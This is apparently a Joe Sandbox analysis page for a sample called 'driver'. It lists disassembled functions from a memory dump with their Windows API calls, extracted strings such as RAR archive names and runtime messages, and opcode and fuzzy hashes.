Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: @Borlndmm@SysFreeMem$qqrpv$@Borlndmm@SysGetMem$qqri$@Borlndmm@SysReallocMem$qqrpvi$borlndmm
API String ID: 667068680-1352882558
Opcode ID: 79ab65274c950a907bc5b7c4912583e509e0328d3c5856cbfe1910c4dfd05c11
Instruction ID: 9fb059b0bed8664ec8effdcc6ab324d9a1ae628e0724f862a889f5317183f5de
Opcode Fuzzy Hash: 79ab65274c950a907bc5b7c4912583e509e0328d3c5856cbfe1910c4dfd05c11
Instruction Fuzzy Hash: 90018470280306AFF7209E25C885B6B7358EB4AB15F28782BB881A7340D77D9C61C65A

Function 0043F568 Relevance: 12.9, Strings: 10, Instructions: 370COMMON

Download Yara Rule

Strings

I, xrefs: 0043F635
0, xrefs: 0043F66F
A, xrefs: 0043F94C
-, xrefs: 0043F606
+, xrefs: 0043F5FB
F, xrefs: 0043F8E7
N, xrefs: 0043F63E
N, xrefs: 0043F8D0
N, xrefs: 0043F96B
9, xrefs: 0043F678

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: +$-$0$9$A$F$I$N$N$N
API String ID: 0-1648577461
Opcode ID: 03c54a20e9876c7d3805fef400ece367fa6b169767753c26b4429ca31b1aae4b
Instruction ID: 6477a31f05a4ce1f52e52661df36f3edf6e061d756a6520c054383fd83cdbd4c
Opcode Fuzzy Hash: 03c54a20e9876c7d3805fef400ece367fa6b169767753c26b4429ca31b1aae4b
Instruction Fuzzy Hash: F5E1BF74D04249EBDF18CFA8D4846EEBBB1AF4D304F20916BD815A3351D7398E4ACB59

Function 0043FA60 Relevance: 12.9, Strings: 10, Instructions: 368COMMON

Download Yara Rule

Strings

+, xrefs: 0043FAF0
N, xrefs: 0043FE60
-, xrefs: 0043FAFB
I, xrefs: 0043FB2A
N, xrefs: 0043FDC5
A, xrefs: 0043FE41
9, xrefs: 0043FB6D
0, xrefs: 0043FB64
N, xrefs: 0043FB33
F, xrefs: 0043FDDC

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: +$-$0$9$A$F$I$N$N$N
API String ID: 0-1648577461
Opcode ID: 491cb68e0e0fb4b08416bf1b40cfae5e2c4245f261d64271f7ba7e5f09aa907a
Instruction ID: ad3149547f98e3762700875b1da681a355d791a3b4096acdd51e867e23b8f28a
Opcode Fuzzy Hash: 491cb68e0e0fb4b08416bf1b40cfae5e2c4245f261d64271f7ba7e5f09aa907a
Instruction Fuzzy Hash: 00E19CB4D0420ADADF10CFA8D5846EEBBB0BF5D300F20A16BE855A3351D7399E49CB59

Function 00404BDC Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 79libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0040C794: GetVersionExA.KERNEL32(?), ref: 0040C7B7

GetModuleHandleA.KERNEL32(shell32.dll), ref: 00404C11
GetProcAddress.KERNEL32(00000000,SHFileOperationW), ref: 00404C20
SHFileOperationA.SHELL32(?), ref: 00404CF4

Strings

T, xrefs: 00404C6E
SHFileOperationW, xrefs: 00404C1A
T, xrefs: 00404CD5
shell32.dll, xrefs: 00404C0C

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: AddressFileHandleModuleOperationProcVersion
String ID: SHFileOperationW$T$T$shell32.dll
API String ID: 2706894985-3673844351
Opcode ID: 617293aeb286d2e9d1149bb70090394c1ae255b4d8b2c95015911c4a78d5a60e
Instruction ID: 62c26b7987e5be2b3992bd07797493bb5548b890ba34ee03b2a49b9df9a75b50
Opcode Fuzzy Hash: 617293aeb286d2e9d1149bb70090394c1ae255b4d8b2c95015911c4a78d5a60e
Instruction Fuzzy Hash: 1A21B6B191131856EB30DB659D81BDD72E8BF44304F0445EAAA08F6281EFB99E488BD9

Function 00440BCC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00440BD8
GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00440BE5
GetVersionExA.KERNEL32 ref: 00440C0A

Strings

kernel32.dll, xrefs: 00440BD3
Borland32, xrefs: 00440BEA
GetProcAddress, xrefs: 00440BDF

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: AddressHandleModuleProcVersion
String ID: Borland32$GetProcAddress$kernel32.dll
API String ID: 3310240892-88975745
Opcode ID: 82f48deadf02bcecc629b89f5661a206f4b5f1231b28dffacef765fadc81367e
Instruction ID: 6af0671b471137b6c67441672297779c2547ba14f705b6621febd97a6834098b
Opcode Fuzzy Hash: 82f48deadf02bcecc629b89f5661a206f4b5f1231b28dffacef765fadc81367e
Instruction Fuzzy Hash: 4DF090B1104B00E7F318AF209CCB77A35A4B321346F50031BA65549293EBBDC46AD61E

Function 00440A88 Relevance: 9.1, APIs: 6, Instructions: 95filewindowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000080,?,00000000), ref: 00440AC7
MessageBoxA.USER32(00000000,?,00000001,00000000), ref: 00440B12
GetStdHandle.KERNEL32(000000F4,?,00000000), ref: 00440B1E
WriteFile.KERNEL32(00000000,00448164,00000002,?,00000000,000000F4,?,00000000), ref: 00440B33
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,00000000,00448164,00000002,?,00000000,000000F4,?,00000000), ref: 00440B48
WriteFile.KERNEL32(00000000,00448167,00000002,?,00000000,00000000,?,00000000,?,00000000,00000000,00448164,00000002,?,00000000,000000F4), ref: 00440B5B

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: File$Write$HandleMessageModuleName
String ID:
API String ID: 1009477876-0
Opcode ID: 4bcc2ea353aee45e89cc7be7893a39effff8846296b54148c66a0baa31ffc874
Instruction ID: 8c57af180ccc573a8b780f88f6dcd6c1528daebccff4d52b51dbec63a25f15ff
Opcode Fuzzy Hash: 4bcc2ea353aee45e89cc7be7893a39effff8846296b54148c66a0baa31ffc874
Instruction Fuzzy Hash: 4521D774500348BAFA20ABA19C46FAF335CDB01719F00462BB744A51C3EBBC6E55C66E

Function 0042EC5C Relevance: 8.9, Strings: 7, Instructions: 163COMMON

Download Yara Rule

Strings

sfx, xrefs: 0042ED4E
.rar, xrefs: 0042ED78
.%s%s1, xrefs: 0042ED02
exe, xrefs: 0042ED3A
part, xrefs: 0042ECF7
.rar, xrefs: 0042EE40
rar, xrefs: 0042ED26

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: .%s%s1$.rar$.rar$exe$part$rar$sfx
API String ID: 626452242-3165010692
Opcode ID: 7201bf97f69c9356af873b1d139bc082232d294f43a04730fdbefe9957b1c244
Instruction ID: 07ebf74136ac25a4c354435bb20ddb52bc694dd10399aac50d4f4f90215f63ba
Opcode Fuzzy Hash: 7201bf97f69c9356af873b1d139bc082232d294f43a04730fdbefe9957b1c244
Instruction Fuzzy Hash: E251C671D0021C9BDF24EB51DD42BDDB3B8EF44304F5445BAE908A2292EB789F49CB99

Function 0042C898 Relevance: 8.8, Strings: 7, Instructions: 97COMMON

Download Yara Rule

Strings

OFF, xrefs: 0042C9DD
rar.log, xrefs: 0042C8C3
LOG, xrefs: 0042C8A2
EML, xrefs: 0042C91A
ERR, xrefs: 0042C8FA
SND, xrefs: 0042C8DD
NUL, xrefs: 0042C95C

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: CompareString
String ID: EML$ERR$LOG$NUL$OFF$SND$rar.log
API String ID: 1825529933-4270793461
Opcode ID: 85d9c96de884524f1d0111d5b80b4c4d9dc96974f349940ed5553c60a4d2ec78
Instruction ID: 97cdf3624b06b075a20cae36206c7d3ef6d1d18997c7b22c34d78c9982aacbc3
Opcode Fuzzy Hash: 85d9c96de884524f1d0111d5b80b4c4d9dc96974f349940ed5553c60a4d2ec78
Instruction Fuzzy Hash: 8431D86070C651CBEB11EA35D0847AB66D59B00344FD8C47BC89A8B296D77CD98A871E

Function 0043EF7C Relevance: 7.8, Strings: 6, Instructions: 263COMMON

Download Yara Rule

Strings

+INF, xrefs: 0043F010
-NAN, xrefs: 0043F049
(, xrefs: 0043EF98
G, xrefs: 0043F08B
+NAN, xrefs: 0043F050
-INF, xrefs: 0043F009

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: ($+INF$+NAN$-INF$-NAN$G
API String ID: 0-2347845670
Opcode ID: 033afd44c147ae4c141b1ff3871ccd70d90262113afda73615374d9b698aa4cf
Instruction ID: 3a86d4b129bf81fd06d2cf139d83e621e18d664b51563da8e1807894b089c8e9
Opcode Fuzzy Hash: 033afd44c147ae4c141b1ff3871ccd70d90262113afda73615374d9b698aa4cf
Instruction Fuzzy Hash: 5C815E21D04195DBDF268A2CD4D03AF7FA29B5E310F1462B7E8955B382C57D8C49C39A

Function 0043F280 Relevance: 7.7, Strings: 6, Instructions: 242COMMON

Download Yara Rule

Strings

+INF, xrefs: 0043F31C
+NAN, xrefs: 0043F345
(, xrefs: 0043F29E
G, xrefs: 0043F36E
-INF, xrefs: 0043F315, 0043F321
-NAN, xrefs: 0043F33E, 0043F34A

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: ($+INF$+NAN$-INF$-NAN$G
API String ID: 0-2347845670
Opcode ID: e185a2b027bc307bad70baa2b99fd723e1cee67e2cc3640934481166e012596b
Instruction ID: ba1ee921011d32f2f47d5f004ee55f149b5c72e9e4e252bc6758268698b2e095
Opcode Fuzzy Hash: e185a2b027bc307bad70baa2b99fd723e1cee67e2cc3640934481166e012596b
Instruction Fuzzy Hash: F781FD62D1021596CB209F58D8817AF73B1EF78324F24A177EC499B354E37D8D8AC38A

Function 004300AC Relevance: 7.7, APIs: 5, Instructions: 174COMMON

Download Yara Rule

APIs

BackupRead.KERNEL32(?,?,?,?,00000000,00000001,?), ref: 00430121
BackupSeek.KERNEL32(?,000000FF,7FFFFFFF,?,?,?), ref: 0043015F
BackupSeek.KERNEL32(?,000000FF,7FFFFFFF,?,?,?), ref: 0043021B
BackupRead.KERNEL32(?,?,00000014,?,00000000,00000001,?), ref: 00430284

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Backup$ReadSeek
String ID:
API String ID: 3699205498-0
Opcode ID: 00b97335902644343562bbef917f5091112418a71cd7b9b69dd9eba4a467e717
Instruction ID: 36f0dce0988dbb668a71ffb835b08e871a8b620aebce59870dd1223545070050
Opcode Fuzzy Hash: 00b97335902644343562bbef917f5091112418a71cd7b9b69dd9eba4a467e717
Instruction Fuzzy Hash: 9C51A370900209EFEF24CF50C895BAFB3B5FB48715F1087ABE815AA284D7799E44CB95

Function 00411C50 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

OemToCharA.USER32(?,?), ref: 00411EC2
OemToCharA.USER32(?,?), ref: 00411ED5
OemToCharA.USER32(?,?), ref: 00411EE8

Strings

awbw, xrefs: 00411CC7, 00411E15

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Char
String ID: awbw
API String ID: 751630497-1791679509
Opcode ID: db5ca5d4be89b30d0fdcc6b2be847b87ea337a2d8483a941f02fa3252474088e
Instruction ID: 4ad40a05f7d3e976f26b27cfc52a4d72161adf4706d0e30100ce3bf39dbbd1a3
Opcode Fuzzy Hash: db5ca5d4be89b30d0fdcc6b2be847b87ea337a2d8483a941f02fa3252474088e
Instruction Fuzzy Hash: A181E8B5E043189ADB20DB64CC41BDEB3B5EF45304F4045EFE509A2291DB786B89CF9A

Function 004406B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

GetOEMCP.KERNEL32 ref: 004406C8
GetACP.KERNEL32 ref: 004406D6
GetCPInfo.KERNEL32(?,?), ref: 004406F4

Strings

Error: system code page access failure; MBCS table not initialized, xrefs: 004406FD

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Info
String ID: Error: system code page access failure; MBCS table not initialized
API String ID: 1807457897-362886185
Opcode ID: 4806acd9c607d03e312d64e6599b10aca0405e0a0ca6d1a8839d096c7c1baad6
Instruction ID: 9d05ae88c09a69884778c74515466c5296e843407f370a86ec078ae298f79ccc
Opcode Fuzzy Hash: 4806acd9c607d03e312d64e6599b10aca0405e0a0ca6d1a8839d096c7c1baad6
Instruction Fuzzy Hash: EB315D319042414AF7119B38484037F77949B42329F2582BBCE96DB3C2D77C6C668B8F

Function 0042FBD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

GetFileSecurityW.ADVAPI32(?,00000007,?,00002000,?,?,?,?), ref: 0042FC30
GetFileSecurityA.ADVAPI32(?,00000007,?,00002000,?), ref: 0042FC43
GetSecurityDescriptorLength.ADVAPI32(?,?,?,?), ref: 0042FC76

Strings

ACL, xrefs: 0042FCAD

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Security$File$DescriptorLength
String ID: ACL
API String ID: 2361174398-707211160
Opcode ID: db5b1bf1136c0dd96ac55a4dd794e1d94cc01a6ae8ec397052e3e2f708cd35fe
Instruction ID: 3d34ec5302a0a2a1ac8e9c47c8e126c50b99106e3035f748f6222cc97c040511
Opcode Fuzzy Hash: db5b1bf1136c0dd96ac55a4dd794e1d94cc01a6ae8ec397052e3e2f708cd35fe
Instruction Fuzzy Hash: 5C212C7170021877FB10A766DC86BEB72ACEF44318F90057BB808E62C2EB7C5E44866D

Function 00433E00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000017,00448C48,?,?,004339AD), ref: 00433E0B
FormatMessageA.KERNEL32(00001100,00000000,00000000,00000400,?,00000000,00000000,00000017,00448C48,?,?,004339AD), ref: 00433E2B
LocalFree.KERNEL32(?,00000017,00448C48,?,?,004339AD), ref: 00433E94

Strings

%s, xrefs: 00433E7C

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID: %s
API String ID: 1365068426-3542723749
Opcode ID: dbbe2f3d175d8c48e9f8e2c33d79c0cf687ef971426102b37edb380a283d97d0
Instruction ID: 9c6c7e39fc0223d28501e2bdda492651b36dad0077a08ab9767b9368a7df6654
Opcode Fuzzy Hash: dbbe2f3d175d8c48e9f8e2c33d79c0cf687ef971426102b37edb380a283d97d0
Instruction Fuzzy Hash: 29112F72B0435566F7315DB21CC3B6F768C8B19B56F142067FA44A9381E6EC8F0043AD

Function 00441DA8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,___CPPdebugHook), ref: 00441DAF
GetProcAddress.KERNEL32(00000000,00000000), ref: 00441DB5

Strings

TAD, xrefs: 00441DBA, 00441DBF
___CPPdebugHook, xrefs: 00441DA8

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: TAD$___CPPdebugHook
API String ID: 1646373207-115868640
Opcode ID: 453bc89a802c45b40438483efa2133c43e2761ff990a5c08d91943df3544165f
Instruction ID: 8918a20b954b6648062407d2cc6c9b24a502c3bcaf4423ddf714cd55dfc51d56
Opcode Fuzzy Hash: 453bc89a802c45b40438483efa2133c43e2761ff990a5c08d91943df3544165f
Instruction Fuzzy Hash: E4C08CB08457408AF700BF329D5B72C3390A310F0BF80402FA0008E2A2CBFD8A8C861C

Function 0043C628 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,___CPPdebugHook), ref: 0043C62F
GetProcAddress.KERNEL32(00000000,00000000), ref: 0043C635

Strings

TAD, xrefs: 0043C63A, 0043C63F
___CPPdebugHook, xrefs: 0043C628

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: TAD$___CPPdebugHook
API String ID: 1646373207-115868640
Opcode ID: 9ca12162b3a097c18f5b6870bc2066a1d6215eea5ed684e71a702f27bfc6cc16
Instruction ID: 6555a35040d5d0ad104cf49bc2598f40a7ed823258bec267e48cbbd9476fc255
Opcode Fuzzy Hash: 9ca12162b3a097c18f5b6870bc2066a1d6215eea5ed684e71a702f27bfc6cc16
Instruction Fuzzy Hash: 48C0127065071049F7407F22589FB182150A310707F50902AA000551D6CA7D52458F4C

Function 0042EA6C Relevance: 6.4, Strings: 5, Instructions: 105COMMON

Download Yara Rule

Strings

wXD, xrefs: 0042EAA0
yXD, xrefs: 0042EAA7
tXD, xrefs: 0042EA85
Z9C, xrefs: 0042EA8A
